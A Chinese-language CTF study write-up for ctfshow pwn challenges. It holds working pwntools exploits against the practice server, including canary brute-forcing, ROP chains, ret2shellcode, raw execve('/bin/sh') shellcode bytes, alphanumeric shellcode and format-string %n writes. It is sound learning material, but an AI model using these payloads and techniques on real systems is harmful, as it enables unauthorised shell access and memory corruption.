for guess in range(256): # 单字节范围
p = remote("pwn.challenge.ctf.show",28299)
p.sendlineafter('>','200') # >提示符后发送'200'并自动补换行符
payload = cyclic(0x30 - 0x10) + canary + p8(guess) # 先把栈填充到 canary 起始位置
p.sendafter('$ ',payload) # 不补 \n,因为程序 read 只认长度不认换行
answer = str(p.recv()) # 转成字符串后方便关键字匹配。
# 小坑:如果远端输出里有 \x00 或大量数据,str() 会把 bytes 的 \x?? 直接转成对应 ASCII 字符,可能误判;实战里用 answer = p.recvall() 再 in b'Canary Value Incorrect!' 更安全。

if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
p.close()
p = remote('pwn.challenge.ctf.show',28299)
elf = ELF('./pwn')
flag = elf.sym['flag'] # 本地解析二进制,拿 flag 函数地址
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1') # 程序里 sscanf 把 -1 当成 0xffffffff(无符号 huge),read 会尝试读 4 GB,实际只受 socket 缓存限制,足够我们 44 字节 payload 完整进去,让远端 read 不截断
p.sendafter('$ ',payload)
p.interactive() # 交互模式

pwn54

  • 再近一点靠近点快被融化

alt text

  • 32位+后门函数
  • 但是后门函数调用有条件,直接尝试满足条件
  • strcmp函数
  • puts函数会输出数组直到遇到\0,寻找方向是从内存低地址到高地址,在ida中显示为向下

alt text

  • 利用内存存储位置相连和puts特性输出密码
  • 把v5塞满,比如输入256个’a’

alt text

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64 # 数据打包/解包函数

io = remote("pwn.challenge.ctf.show",28293)
payload = b'a'*256
io.sendlineafter(b'Username:',payload)

io.recvuntil(b',') # 接收直到逗号
password = io.recv() # 然后读取剩余内容
print(f'password is {password.decode()}') # 从网络接收的是bytes类型
io.close()

io = remote("pwn.challenge.ctf.show",28293)
io.sendlineafter(b'Username:',b'666')
io.sendline(password)

io.interactive()

pwn55

  • 你是我的谁,我的我是你的谁

alt text

  • 后门函数

alt text

  • 要满足条件(&& 代表逻辑与)

alt text

  • 调用下该函数就行

alt text

  • 调用并输入指定参数

  • 下面这个是meiyouqian学长的脚本

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28236)
flag1=0x08048586
flag2=0x0804859D
flag=0x8048606
padding=0x2C+4
payload=b"a"*padding+p32(flag1)+p32(flag2)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD)
io.sendline(payload)
io.interactive()
  • 这里主要利用:
    • 每当一个函数通过 ret 被调用,栈顶(ESP)就会向上移动 4 个字节
    • 函数地址后依次视为:返回地址、第一个参数、第二个参数…

改进点:

elf = ELF('./pwn') # 只需要知道函数名就可以自动获得地址
...
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']
flag_addr = elf.sym['flag']

payload = flat([cyclic(padding),flag1_addr,flag2_addr,flag_addr,-1397969748,-1111638595])
# 可以使用伪代码中的十进制(虽然这种不一定算改进,但存档方法)

瞎联想:

  • 如果flag1需要参数或者其他函数需要多个参数:
from pwn import *

# 假设你已经在 gr310 环境下
elf = ELF('./pwn')

# 自动寻找 Gadget 的地址
# 你也可以在终端用 ROPgadget --binary pwn --only "pop|ret" 找
pop_ret = 0x0804xxxx # 指向指令: pop ebp; ret
pop_pop_ret = 0x0804yyyy # 指向指令: pop ebx; pop ebp; ret

padding = 0x2C + 4 #

payload = flat([
cyclic(padding),

# 第一站: func1
elf.sym['func1'],
pop_ret, # func1 的返回地址:跳去清理参数
0xAAAA, # func1 的第一个参数

# 第二站: func2
elf.sym['func2'],
pop_pop_ret, # func2 的返回地址:跳去清理两个参数
0xBBBB, # func2 的第一个参数
0xCCCC, # func2 的第二个参数

# 第三站: flag
elf.sym['flag'],
0xdeadbeef, # flag 的返回地址(最后一站,随便填)
0xDDDD # flag 的第一个参数
])
  • 如果64位呢?
  • 在 32 位中,你只需要考虑栈的顺序。但在 64 位(Linux 环境下常用的 System V AMD64 ABI 约定)中,函数的前 6 个参数必须依次放入以下寄存器:
RDI (第一个参数)
RSI (第二个参数)
RDX (第三个参数)
RCX (第四个参数)
R8 (第五个参数)
R9 (第六个参数)
  • 只有当参数超过 6 个时,才会开始使用栈传参。
  • Payload 构造顺序: padding + p64(pop_rdi_ret) + p64(arg1) + p64(pop_rsi_ret) + p64(arg2) + p64(func)
  • 逻辑:
    • 先用 pop rdi 把 arg1 填好。
    • 再用 pop rsi 把 arg2 填好。
    • 最后 ret 到 func 执行。
  • 特殊情况:复合 Gadget
    • 如果你运气好,找到了一个 pop rdi; pop rsi; ret 这样的连在一起的指令,Payload 会更短: padding + p64(pop_rdi_rsi_ret) + p64(arg1) + p64(arg2) + p64(func)
payload = flat([
b'A' * padding,

# 设置 func1 的参数并调用
p64(pop_rdi_ret),
0x111,
p64(elf.sym['func1']),

# func1 返回时,栈顶必须是下一个 Gadget
p64(pop_rdi_ret), # 设置 func2 的第一个参数
0x222,
p64(pop_rsi_ret), # 设置 func2 的第二个参数
0x333,
p64(elf.sym['func2'])
])
  • 利用 Pwntools ROP 模块自动连接!!!!
  • 64位
from pwn import *

elf = ELF('./pwn')
rop = ROP(elf)

# 像写 Python 函数一样连接它们
# pwntools 会自动寻找 pop rdi, pop rsi 等 gadgets
# 并且会自动处理函数之间的连接和栈对齐(ret 补丁)
rop.func1(0x111)
rop.func2(0x222, 0x333)
rop.system(next(elf.search(b'/bin/sh')))

print(rop.dump()) # 强烈建议打印出来看,它展示了完美的栈布局

payload = b'A' * padding + rop.chain()
  • 32位
from pwn import *

# 1. 加载 32 位二进制文件
elf = ELF('./pwn')
rop = ROP(elf)

# 2. 设置 Padding(根据你之前的计算,例如 0x2C+4)
padding_size = 0x2C + 4

# 3. 像写 Python 函数一样连接它们
# pwntools 会自动:
# - 识别到这是 32 位,改用栈传参
# - 寻找 'pop; ret' 这种 Gadget 来清理 func1 的参数,以便跳入 func2
# - 寻找 'pop; pop; ret' 来清理 func2 的两个参数
rop.func1(0x111)
rop.func2(0x222, 0x333)

# 查找 /bin/sh 字符串地址并调用 system
bin_sh = next(elf.search(b'/bin/sh'))
rop.system(bin_sh)

# 4. 打印布局(这是理解 32 位链式调用的最佳方式)
print("--- 自动生成的 32 位 ROP 链布局 ---")
print(rop.dump())

# 5. 生成最终 Payload
payload = b'A' * padding_size + rop.chain()
  • 所以难道可以这样?:
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28209)

elf = ELF('./pwn')
rop = ROP(elf)
padding=0x2C+4

rop.flag_func1()
rop.flag_func2(0xACACACAC)
rop.flag(0xBDBDBDBD)

print("--- 自动生成的 32 位 ROP 链布局 ---")
print(rop.dump())

payload = b'A' * padding + rop.chain()
io.sendline(payload)
io.interactive()
  • 啊哈但是这道题目没有pop嘿嘿(服了

pwn56

  • 先了解一下简单的32位shellcode吧

alt text

  • 静态什么保护都没有

alt text

  1. 为什么是反着压栈?(栈的 LIFO 特性)
    在 x86 架构中,栈是 向下增长 的(从高地址向低地址增长),而数据读取通常是从 低地址向高地址 进行的。
  2. 为什么要写成 /bin///sh?(避免空字节 Null Bytes)
    在很多溢出漏洞(如 strcpy 引起的溢出)中,00 (Null Byte) 会截断字符串,导致你的 Payload 无法完整注入。
    • 标准的 /bin/sh 只有 7 个字符。如果直接压栈,编译器会自动补 00 来凑齐 4 字节的倍数(dword),这会产生空字节。
    • 黑客技巧:Linux 的路径解析器会自动忽略多余的斜杠。/bin/sh 等同于 /bin//sh 也等同于 /bin///sh。
    • 通过增加斜杠,将字符串长度凑成 4 的倍数
    • 为什么:00 (Null Byte) 会截断字符串
      • 在 C 语言中,并没有专门的“字符串”基本类型,字符串本质上是一个 字符数组 (char[])。为了让程序知道这个字符串在哪里结束,C 语言约定使用 0x00(ASCII 码中的 NULL 字符) 作为结束标志
      • 绝大多数常用的字符串处理函数(如 strcpy, strlen, printf, gets, scanf 等)都是基于“扫描到 0x00 为止”的逻辑编写的
  3. 为什么分开/bin///sh
    • push ‘h’:在汇编中,push 0x68 的机器码是 6A 68。这只有两个字节,完全不含 00。
    • 如果直接 push “/bin/sh”,机器码里必然会出现大量 00
  4. mov ebx, esp:确定“靶点”
    • esp 始终指向栈顶。在执行完三次 push 后,esp 恰好指向了字符串 /bin///sh 的开头(即字符 /)。
    • execve 的第一个参数(存储在 ebx 中)需要一个 指向文件路径字符串的指针。
    • 所以执行 mov ebx, esp,就是把当前字符串在内存中的地址交给了 ebx。
  5. push 0Bh; pop eax:寻找系统功能号
    • 查阅 Linux x86 Syscall Table。
    • 找到 sys_execve(用于执行程序的系统调用),它的系统调用号是 11。
    • 十六进制中,11 就是 0xB。
    • 避坑分析:为什么不直接用 mov eax, 0Bh?因为 mov eax, 11 的机器码是 B8 0B 00 00 00,含有大量空字节。而 push 0Bh; pop eax 的机器码是 6A 0B 58,非常精简且无空字节。

pwn57

  • 先了解一下简单的64位shellcode吧
文件类型: ELF64 (x86-64 可执行文件)
编译器: GNU C++ (实际手写汇编)
源代码: 'shellcode.asm'
属性: noreturn (不会正常返回,执行syscall后进程转变)
功能: 执行 execve("/bin/sh", NULL, NULL) 获取交互式shell

proc near ; 程序入口点,类似 main
push rax ; [栈对齐] 压入 rax 使栈对齐16字节
xor rdx, rdx ; [envp] 清零 rdx,设置环境变量指针为 NULL
xor rsi, rsi ; [argv] 清零 rsi,设置参数数组为 NULL
mov rbx, 68732F2F6E69622Fh ; [字符串] rbx = "/bin//sh" 的ASCII十六进制
; 小端序: 0x6E69622F="/bin", 0x68732F2F="//sh"
push rbx ; [压栈] 将 "/bin//sh" 压入栈,rsp指向该字符串
push rsp ; [取地址] 压入 rsp(字符串地址),准备传给 rdi
pop rdi ; [pathname] rdi = &("/bin/sh"),第一个参数
mov al, 3Bh ; ';' ; [系统调用号] al = 0x3B (59) = __NR_execve
syscall ; [执行] 调用 execve("/bin/sh", NULL, NULL)
; 成功后当前进程替换为 /bin/sh,失败则返回
endp
ends

pwn58

  • 32位 无限制

alt text

  • ai教我下呜呜呜
  • Ret2Shellcode类型
  • 漏洞点 :程序使用了 gets 函数,它不检查输入长度,允许我们向栈上的缓冲区写入任意数据。
  • 利用点 :程序在写入数据后,竟然主动调用了这段数据的地址( call eax )。
  • 结论 :我们不需要计算复杂的偏移量去覆盖返回地址,只需要把 Shellcode (一段获取 Shell 的机器码)发送过去,程序就会自己跳过去执行它。
sub     esp, 0Ch        ; 调整栈顶准备传参
lea eax, [ebp+s] ; 【关键1】获取栈上局部变量 s 的地址 (s 是一个缓冲区)
push eax ; 将 s 的地址压栈,作为 ctfshow 的参数
call ctfshow ; 【关键2】调用 ctfshow 函数
; (根据之前分析,ctfshow 内部调用了 gets(s),
; 允许你往 s 指向的栈空间写入任意数据,如 Shellcode)
add esp, 10h ; 平衡堆栈
lea eax, [ebp+s] ; 【关键3】再次获取变量 s 的地址,放入 eax
call eax ; 【关键4】直接调用 eax!!!
; 这意味着 CPU 会跳转到 s 的地址去执行代码。
; 因为刚才你通过 ctfshow 往 s 里写了 Shellcode,
; 这里就会直接运行你的 Shellcode。
  • ok理解了耶
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28118)
shellcode=asm(shellcraft.sh()) # 这个最好在Linux上运行window配环境很麻烦
io.sendline(shellcode)
io.interactive()

pwn59

  • 64位 无限制

alt text

from pwn import *
context.log_level="debug"
context.arch='amd64' # !!!标注64位,默认32位
io=remote("pwn.challenge.ctf.show",28288)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn60

  • 入门难度shellcode

alt text

  • 32位什么也没开

alt text

  • 确认buf2可写
gdb pwn
break main
run
vmmap

alt text

  • root好像装了个可以
gdb pwn
break main
run
vmmap
cyclic 200
r < <(echo 'aaaabaaacaaadaaae...')
c

info registers eip
cyclic -l 0x62616164 # 这个地址上一个命令或者ccc看到Invalid address

alt text

  • 找到偏移量112
  • 从输入数据的第 1 个字节到覆盖返回地址之间的距离是 112 字节
from pwn import *
context.log_level ="debug"
context.arch = "i386"
io=remote("pwn.challenge.ctf.show",28150)
buf_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b"a")+p32(buf_addr)
io.sendline(payload)
io.interactive()

pwn61

  • 输出了什么?

alt text

  • pie:基址不固定了

alt text

此外这边调用完gets函数之后啊,main函数下边有个leave
leave的作用相当于MOV SP,BP; POP BP
因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节。

alt text
alt text

r.recvuntil('[') 
addr=r.recvuntil(']',drop=True)#这意味着不截取最后的”]“

也就是说函数运行到返回地址时看到了我写入的返回地址后(后面多少?)的一个地址,然后就过去了,过去后到达了返回地址后空旷的地方,然后这个地方被我提前写了shellcode然后我运行了该shellcode得到了shell
ai说这个理解是对的嗯嗯

  • ok大概理解了
  • meiyouqian学长的笔记:

alt text

from pwn import *
from ast import literal_eval

#context(arch="amd64", os="linux", log_level="debug")

io = remote("pwn.challenge.ctf.show", 28274)

io.recvuntil(b"[")
addr_raw = io.recvuntil(b"]", drop=True).decode()

# 使用 literal_eval 安全地将 "0x7fffffffe400" 转为整数
# 它会自动处理 0x 前缀,且比 eval() 安全得多
addr = literal_eval(addr_raw)

print(f"[*] 探测到 v5 的起始地址: {hex(addr)}")

padding_size = 0x10 + 8

shellcode = asm(shellcraft.sh())

target_jmp = addr + padding_size + 8

payload = b"a" * padding_size + p64(target_jmp) + shellcode

io.sendline(payload)
io.interactive()

pwn62

  • 短了一点

alt text

32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

alt text

from pwn import *
from ast import literal_eval

context(arch="amd64", os="linux", log_level="debug")

io = remote("pwn.challenge.ctf.show", 28274)

io.recvuntil(b"[")
addr_raw = io.recvuntil(b"]", drop=True).decode()

# 使用 literal_eval 安全地将 "0x7fffffffe400" 转为整数
# 它会自动处理 0x 前缀,且比 eval() 安全得多
addr = literal_eval(addr_raw)

print(f"[*] 探测到 v5 的起始地址: {hex(addr)}")

padding_size = 0x10 + 8

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

target_jmp = addr + padding_size + 8

payload = b"a" * padding_size + p64(target_jmp) + shellcode

io.sendline(payload)
io.interactive()

pwn63

  • 又短了一点

alt text

  • 一模一样

pwn64

  • 有时候开启某种保护并不代表这条路不通

alt text

1. mmap:手动申请了一块“法外之地”
这一行代码是核心: buf = mmap(0, 0x400u, 7, 34, 0, 0);

参数 7 的含义:在 mmap 中,权限是用数字相加表示的。7 代表 1 (执行) + 2 (写) + 4 (读)。也就是说,这段代码申请的内存空间同时拥有 RWX(可读、可写、可执行) 权限。

绕过 NX 保护:现代程序通常有 NX(堆栈不可执行)保护,但 mmap 申请出的这块空间被显式赋予了执行权限,这使得 NX 在这里失效了。

2. read:给你写代码的机会
read(0, buf, 0x400u): 程序从标准输入(也就是你的键盘/脚本)读取最多 1024 (0x400) 字节的数据,并原封不动地存放到刚才申请的那块具有执行权限的 buf 内存里。

3. 函数指针调用:直接扣动扳机
这一行是最致命的: ((void (*)(void))buf)();

这行代码的意思是:把 buf 这个地址强制转换成一个函数指针,并立即去执行它。

它不等你通过栈溢出覆盖返回地址。它在逻辑上直接告诉 CPU:“嘿,去 buf 那个位置,不管里面存了什么,都把它当作指令跑起来。”
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28133)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn65

  • 你是一个好人

【刷题】ctfshow-pwn合集wp_image-1.png

【刷题】ctfshow-pwn合集wp_image-3.png

位置 工具 RWX 检测逻辑 为什么你的输出没有显示 RWX
gr310环境 pwn 的 checksec 只要程序头里存在同时具有读、写和执行权限的段(如 LOAD 或 GNU_STACK 标记为可执行),就显示 Has RWX segments ✅ 显示,因为它只看文件头。
base 环境 独立 checksec 3.1.0 只检测 GNU_STACK 标记。如果 GNU_STACK 存在且可执行,显示 NX disabled;如果 GNU_STACK 不存在就不显示 RWX 信息 ❌ 不显示,因为你的程序 GNU_STACK missing,它认为没必要提 RWX。

64位,可能得考虑堆栈平衡;FR,这下plt和got都动不了了;没开金丝雀;没开NX,能直接注入shellcode;开了PIE,位置随机;存在可读可写可执行段—— 来源

【刷题】ctfshow-pwn合集wp_image-4.png

【刷题】ctfshow-pwn合集wp_image-2.png

问题:mov eax, 0 -> 是什么

场景 eax 的作用
直接系统调用 存放系统调用号
C 库函数调用 有时用来清空,或指示浮点参数数量(x64 ABI)
你这里的代码 属于第二种,eax=0 只是 ABI 要求的占位,不是传参

问题:lea rax, [rbp+buf]; -> 为什么 rax = buf 地址

指令 做什么 举例
mov rax, [rbp+buf] 读取内存:把 [rbp+buf] 地址里的给 rax rax = buf[0] 的值
lea rax, [rbp+buf] 计算地址:把 [rbp+buf] 这个地址本身给 rax rax = &buf[0]

简单来说,“rbp 是基址”这件事,是整个软件生态(操作系统、编译器、调试器)共同遵守的一个约定。这个约定被写在 ABI(Application Binary Interface,应用二进制接口) 标准里。

jmp short loc_11AC 虽然跳转的目标是 loc_11AC,但它不是直接跳到循环体开头,而是跳到循环条件的判断部分

  • ber 谢谢你这什么逻辑可恶 -> ai:
loc_11AC:                               ; ← 条件判断部分(不是循环体)
mov [rbp+var_4], 0
jmp loc_123A ; 跳到真正的循环判断

loc_123A: ; ← 真正的循环条件检查
mov eax, [rbp+var_4]
cmp eax, [rbp+var_8]
jl loc_11B8 ; 条件成立,进入循环体

loc_11B8: ; ← 循环体开始
... 循环体代码 ...
add [rbp+var_4], 1 ; i++
jmp loc_123A ; 跳回条件判断

【刷题】ctfshow-pwn合集wp_image-5.png

  • 这一段循环判断猜能猜出来但不是比赛么学习下:
有符号跳转指令 描述
JG 有符号大于则跳转
JL 有符号小于则跳转
loc_11AC:
mov [rbp+var_4], 0 ; var_4 = 0 (这就是循环变量 i)
jmp loc_123A ; 跳转到循环条件检查
...
loc_123A:
mov eax, [rbp+var_4] ; eax = i
cmp eax, [rbp+var_8] ; 比较 i 和输入长度
jl loc_11B8 ; 如果 i < 长度,就进循环体
...
loc_11B8:
mov eax, [rbp+var_4] ; eax = i
cdqe ; 把 i 扩展到64位(为了后面计算地址)
movzx eax, [rbp+rax+buf] ; 取 buf[i] 放到 eax

(sq)还有检测环节,我们input进去的必须是在(0x60,0x7A]|(0x40,0x5A]|(0x2F,0x5A])
对应着ASCII码,我们输入的只能是小写字母a-z+大写字母A-Z+数字0-9
所以我们这边需要改造我们的shellcode,想做到这一步需要用alpha3这个工具

  • 我勒个 ai 搞出来反编译了,参考这个,恐怖啊

(ai)真正让它不能反编译的是 main 里 0x124d 这一条:
1246 lea rax, [rbp+buf]
124d call rax

【刷题】ctfshow-pwn合集wp_image-6.png

  • 改成俩 nop 然后 c F5反编译成功!(但缺失意思!)

【刷题】ctfshow-pwn合集wp_image-7.png

因为你改掉的是 Hex-Rays 卡住的那个“不可分析调用点”。原函数真实逻辑是:
read(0, buf, 0x400);
...
lea rax, [rbp+buf]
call rax
也就是把输入读到栈上的 buf,过滤完字符后,直接把这块栈内存当代码执行。对反编译器来说,这一条 call rax 很麻烦,原因是:
1. rax 不是固定函数地址,而是运行时算出来的。
2. 目标还是栈上的数据区,不是 IDA 里一个正常的已识别函数。
3. Hex-Rays 做伪代码前,必须先完成“call analysis”。
4. 它需要知道这个调用的大致语义:调用谁、参数怎么传、会不会返回、会改哪些寄存器/栈。
5. 这里这些信息它都拿不到,所以就在 0x124d 报 call analysis failed,直接放弃整个函数的反编译。
你把它改成 nop; nop 以后,函数尾部就从:
lea rax, [rbp+buf]
call rax
mov eax, 0
leave
retn
变成了:
lea rax, [rbp+buf]
nop
nop
mov eax, 0
leave
retn
这样一来:
6. 控制流变成普通顺序执行。
7. 不再有未知间接调用。
8. 栈平衡、返回路径、局部变量生命周期都能正常推出来。
9. Hex-Rays 就能把整个函数翻成伪代码。
还有一个关键点:你这次成功,不只是因为改了 90 90,还因为你把 0x1246 重新定义成了代码。之前那种 db 48h db 8Dh ... 状态下,IDA 看到的是“数据”,不是指令,控制流在 0x1240 后面断掉,反编译照样会失败。所以本质上是两件事同时满足了:
10. 0x1246 到 0x124e 必须是“代码”而不是 db。
11. 0x124d 不能再是那个 Hex-Rays 无法分析的 call rax。
不过要注意,这只是“为了能看伪代码”的分析性补丁,不是原程序真实语义。原程序真正关键的行为就是最后执行 buf 里的shellcode。现在伪代码里这一步被你去掉了,所以读伪代码时要自己补一句:过滤通过后,原本会执行用户输入的 shellcode。

(sq)第一步生成shellcode:sc

from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

(sq)有了sc之后我们将其转化为字符串形式,需要放到alpha3的文件夹里

python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

【刷题】ctfshow-pwn合集wp_image-8.png

  • 杀千刀的谁做的这个工具为什么居然是适配 window 不是 linux 的,linux 死活搞不好了不搞了,这个 window 也是 codex 搞了搞才能运行()

然后我们将这个shellcode写入代码,注意这边不能用sendline,我们必须使用send,避免sendline会最后输出的\n

from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28112)

payload=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(payload)
io.interactive()

pwn66

简单的shellcode?不对劲,十分得有十二分的不对劲

【刷题】ctfshow-pwn合集wp_image-9.png

(sq)让我们用shellcode结果开了NX吗(?),我猜测可能有mmap这种函数提权

  • 虽然 pwn25 用 ret2libc 解出来了但是这是一种复杂的方法,而我们该题提示了 shellcode

(ai)buf = mmap(0, 0x1000u, 7, 34, 0, 0);

参数位置 含义
第1个参数 addr 0 让内核自动选择映射的起始地址(不指定具体位置)
第2个参数 length 0x1000u 映射4096字节(1页)的内存空间
第3个参数 prot 7 内存保护权限:可读 + 可写 + 可执行
第4个参数 flags 34 匿名映射 + 私有映射(不与文件关联)
第5个参数 fd 0 文件描述符:因为是匿名映射,设为0(无效)
第6个参数 offset 0 文件偏移量:匿名映射必须为0
  • flags = 34 是以下标志的按位或:
    • MAP_PRIVATE = 0x02 // 私有映射(写时复制)
    • MAP_ANONYMOUS = 0x20 // 匿名映射(不映射文件)
    • 0x02 + 0x20 = 34

【刷题】ctfshow-pwn合集wp_image-11.png

【刷题】ctfshow-pwn合集wp_image-12.png

(ai)CPU执行代码时,会把字节流翻译成汇编指令。这个翻译过程是连续的,并且不同的字节序列会变成完全不同的指令。这就导致了你的三种payload在执行阶段出现了分水岭。
\x00B\x00

  • 字节序列: 00 42 00
  • 反汇编结果:0: 00 42 00 add BYTE PTR [rdx+0x0], al
    为什么能行?** 这条add指令虽然看起来奇怪,但它是一条合法且无害的指令。它执行了一个无意义的加法操作,然后CPU会顺理成章地执行后面紧跟的、你真正的shellcraft.sh()代码。它就像一个“空操作(NOP)”滑梯,平稳地把执行流滑到了你的shellcode上。
  • 模拟:
from pwn import *

context.arch = 'amd64'

print("=" * 60)
print("完整复现: \\x00B\\x00 -> 00 42 00 -> add BYTE PTR [rdx+0x0], al")
print("=" * 60)

# 步骤1: 原始输入
original = b'\x00B\x00'
print(f"\n[步骤1] 原始输入: {repr(original)}")

# 步骤2: 转换为十六进制
hex_bytes = ' '.join(f'{b:02x}' for b in original)
print(f"[步骤2] 十六进制: {hex_bytes}")

# 步骤3: 反汇编
disasm_result = disasm(original)
print(f"[步骤3] 反汇编结果:")
print(f" {disasm_result.strip()}")

print("\n" + "=" * 60)
print("完整流程:")
print("=" * 60)
print(f"\\x00B\\x00 → {hex_bytes}{disasm_result.strip()}")
# wsl window不行
# python /mnt/c/Users/luoyinhui/Desktop/1.py
  • 反过来呢:
# asm_demo.py - 从汇编指令得到机器码
from keystone import *

print("=" * 60)
print("逆向复现: add BYTE PTR [rdx+0x0], al -> 00 42 00")
print("=" * 60)

# 初始化汇编器
ks = Ks(KS_ARCH_X86, KS_MODE_64)

# 汇编指令
asm_code = "add byte ptr [rdx], al"

print(f"\n[步骤1] 汇编指令: {asm_code}")

# 汇编得到机器码
encoding, count = ks.asm(asm_code)
machine_code = bytes(encoding)

print(f"[步骤2] 机器码(十进制): {encoding}")
print(f"[步骤3] 机器码(十六进制): {' '.join(f'{b:02x}' for b in machine_code)}")
print(f"[步骤4] 原始表示: {repr(machine_code)}")

print("\n" + "=" * 60)
print("完整流程:")
print("=" * 60)
print(f"add BYTE PTR [rdx+0x0], al → {machine_code.hex()} → \\x00\\x42\\x00")
  • exp:
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28127)
front=b"\x00B\x00"
shellcode=asm(shellcraft.sh())
payload=front+shellcode
io.sendline(payload)
io.interactive()

格式化字符串

pwn91

(sq)系统会输出用户可控输入s,这意味着我们可以在这个s里边放一些%x%p%s%n之类的格式化占位符,实现信息泄露或者任意地址写

【刷题】ctfshow-pwn合集wp_image-10.png

%p // 打印指针(地址,通常带0x前缀)比较直观

不行不行还是得看文章:https://blog.csdn.net/weixin_29322553/article/details/159134239


漏洞利用原理

  1. 内存读取:任意地址泄露
    使用%x、%p等格式符可以泄露栈内存:
    输入%p.%p.%p.%p可能输出类似:0xffffd1bc.0x80482d5.0xf7f8e000.0x0
  2. 内存写入:任意地址修改
    通过%n格式符可以向指定地址写入已输出的字符数:
//原来是输出已输出字符的数量
int count;
printf("Hello%n World\n", &count);
// 输出: Hello World
// count 被赋值为 5("Hello" 的字符数)
printf("count = %d\n", count);
// 输出: count = 5

漏洞利用:

// 正常使用
int x;
printf("12345%n", &x); // 向 x 的地址写入 5

// 漏洞利用
printf(user_input); // 如果用户输入 "%n"
// %n 会从栈上取一个值作为地址,并向该地址写入数据!

利用步骤

  1. 确定偏移量的三种方法
    模式匹配法:输入AAAA.%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p观察AAAA出现位置
    自动化脚本:(这道题目的)
#!/usr/bin/env python3
from pwn import *

context.log_level = 'info'

host = 'pwn.challenge.ctf.show'
port = 28196

# 找偏移
offset = None
for i in range(1, 20):
p = remote(host, port)
p.sendline(f"AAAA%{i}$p".encode())
data = p.recvall().decode()
p.close()

if '41414141' in data:
offset = i
print(f"[+] Offset found: {offset}")
print(f" Response: {data.strip()}")
break

if offset:
# 继续利用...
print(f"[+] Using offset {offset} for exploit")

GDB调试:在printf调用前下断点,检查栈布局

放弃了死活搞不懂怎么检查栈布局,有点人傻了背 ai 骗来骗去,后面再说吧

  1. libc地址泄露实战
    典型利用步骤:

泄露GOT表中函数地址(如puts)
计算libc基地址:libc_base = puts_addr - libc.symbols[‘puts’]
获取system地址:system_addr = libc_base + libc.symbols[‘system’]
关键payload示例:

payload = p32(puts_got) + b"%6$s"  # 读取puts真实地址 6是前期找到的偏移量
  1. GOT表覆盖技术详解
    GOT(Global Offset Table)是动态链接的关键数据结构,修改GOT表项可以劫持程序执行流。

覆盖printf的GOT表为system 的典型操作:
分两次写入(32位系统)

payload = p32(printf_got) + p32(printf_got+2)
payload += b"%2044c%6$hn" # 写入低2字节
payload += b"%31740c%7$hn" # 写入高2字节

注意:实际数值需要根据目标地址计算,考虑已输出字符数的影响

  1. CTFshow PWN题实战解析
    1)基础题型:直接修改关键变量
    以PWN91为例,需要将daniu变量改为6:
daniu = 0x0804B038
payload = p32(daniu) + b"%2c%7$hhn" # 写入6(0x06)

4.2 自动化工具推荐
pwntools的fmtstr模块:
from pwn import *
fmtstr_payload(offset, {address: value})
GEF插件:提供可视化栈分析
libc-database:快速匹配泄露的libc地址


  • 累了好累这玩意好累()我觉得其实是动调好累o(一︿一+)o
  • ai 去装插件吧我继续往下做了
%7$x:把第 7 个参数按整数打印
%7$s:把第 7 个参数当作“字符串地址”去读
%7$n:把第 7 个参数当作“写入目标地址”
  • 原理边做题变解决吧一直看原理我要累死
  • (实则实在受不了搞不懂又去问 ai 了)
  • ber 我感觉也知道为什么某不愿意问人了就是一种你知道这个是基础问题单太蠢又不知道不是我在说什么不要管我我做的有点疯了

(ai)%n$ 是 POSIX 扩展的格式说明符,其中 n 是一个正整数,表示“取第 n 个参数”

(ai)p32(x) 把 x 打包成 4 字节;p64(x) 把 x 打包成 8 字节

%n:将当前已输出的字符数写入到指定参数所指向的地址。默认情况下,写入的是一个 int类型的大小,通常是 4 字节(在 32 位系统中)。
%hn:将当前已输出的字符数写入,但只写入 2 字节(half word)。
%hhn:将当前已输出的字符数写入,但只写入 1 字节(half half word,即一个字节)
  • 脚本还是好理解的,%2c 是输出宽度为2
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28234)

daniu = 0x0804b038
payload = p32(daniu) + b"%2c%7$hhn"
io.sendline(payload)
io.interactive()

> (sq)当然也可以直接用pwntools帮我们完成payload = fmtstr_payload(7,{daniu:6})

  • 搞不出来

pwn92

【刷题】ctfshow-pwn合集wp_image-13.png

  • 全绿吗熬过91的我已经无所畏惧o(≧口≦)o

【刷题】ctfshow-pwn合集wp_image-14.png

  • s 是 flag 我输入 format 如果 %s 就把 s 输出了
  • 这才应该放第一个吧?

pwn93

【刷题】ctfshow-pwn合集wp_image-15.png

